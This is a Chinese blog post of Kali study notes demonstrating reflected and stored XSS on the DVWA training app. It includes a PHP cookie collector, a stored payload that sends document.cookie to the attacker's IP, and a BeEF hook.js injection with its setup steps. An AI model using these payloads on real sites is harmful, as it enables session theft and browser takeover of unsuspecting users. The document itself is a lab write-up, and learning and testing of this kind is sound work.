kali学习笔记-05-DVWA XSS跨站脚本攻击

kali学习笔记-05-DVWA XSS跨站脚本攻击


一、反射型XSS攻击

在OWASP的DVWA上,选中XSS reflected页面,在输入框内输入张三,页面反应正常。
enter description here
尝试输入一句script脚本。

<script>alert('xss')</script>

出现了如下的系统弹框,也就意味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了 XSS 漏洞。
enter description here

二、存储型XSS

在DVWA中选择XSS stored,在Name中输入test,在Message中输入<script>alert('xss')</script>。点击Sign Guestbook按钮后,会弹出弹窗。如下图所示。
enter description here

此时,换到另外一台计算机上,访问这个网站并点击XSS stored选项,都会弹出这个弹窗,也就是说,都会受到脚本的攻击。

三、Kali获取用户的cookie

包括4个步骤:

  1. 构建收集 cookie 的服务器
  2. 构造XSS代码
  3. 植入 Web 服务器
  4. 等待受害者触发XSS代码并将cookie发送到kali
  5. cookie的利用

分手动XSS和自动XSS分别介绍。

1. 手动型XSS

1-1. 在Kali中启动收集cookie的服务器

systemctl start apache2

1-2. 构造XSS代码

vi /var/www/html/cookie_rec.php

向其中写入如下内容:

<?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "\n");
    fclose($log); 
?>

设置apache的权限。

sudo chown -R www-data:www-data /var/www/

1-3. 植入Web服务器

在页面上的Message输入框中,输入如下内容:

<script>window.open("http://192.168.48.140/cookie_rec.php?cookie="+document.cookie)</script>

注音,这里的IP地址是Kali的IP地址。

由于网页有限制,我们输入不了这么长的内容。所以要修改网页,去掉这个限制。

F12进入开发者模式,进入Inspector,找到Message输入框对应的代码(鼠标滑过代码时页面上对应的部位会有提示),如下图所示。
enter description here
可见,输入长度被限制在了50,在这里直接把它修改为200。然后输入上面的代码,如下图所示。
enter description here

然后点击Sign Guestbook

1-4. 等待受害者触发XSS代码并将cookie发送到kali

现在我们假装是受害者,在另外一个机器上登录到同样的页面,输入信息后点击Sign Guestbook,此时会出现一个被阻止的弹窗。如下图所示。设置允许弹窗。
enter description here
到kali下面去查看,可以看到,cookie信息已经被收集。如图所示。
enter description here

enter description here
enter description here

1-5. 利用cookie

没有做这一步的实验。

2. 自动化XSS

Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。使用BeEF,我们将不再需要自己创建php文件。

2-1. 启动apache和BeEF

启动apache2,在kali中输入如下命令:

systemctl start apache2

beef不允许使用弱口令登录,所以要先修改beef-xss的登录密码。编辑文件/usr/share/beef-xss/config.yaml,把passwd修改为abc@123。如下图所示。
enter description here
从中可以看到,登录所使用的用户名是beef

2-2. 登录BeEF管理界面

在kali虚拟机的浏览器地址栏中,输入地127.0.0.1:3000/ui/authentication,使用用户名beef和密码abc@123登录。
enter description here

2-3. 植入Web服务器

Message输入框中输入如下脚本:

<script src="http://192.168.48.140:3000/hook.js"></script>

注意,这里的IP地址是kali虚拟机的IP地址。在浏览器中要修改最大字数限制。
enter description here
点击Sign Guestbook,允许弹窗,然后在beef的网页上,可以看到kali虚拟机的IP地址。如下图所示。
enter description here

2-4. 功能演示

如下图所示,发送一个告警弹窗。

enter description here
enter description here

在受害者的网页上,就会对应弹出窗口,如下图所示。
enter description here
实验完毕。

四、参考文献

  1. DVWA XSS跨站脚本攻击实践
  2. 中华人民共和国网络安全法
  3. XSS跨站脚本攻击原理
  4. XSS跨站脚本攻击理论和实战 XSS构造脚本+手动XSS+利用BEef自动化XSS(网络安全学习13)
posted @ 2024-01-31 15:29  南宫二狗  阅读(188)  评论(0编辑  收藏  举报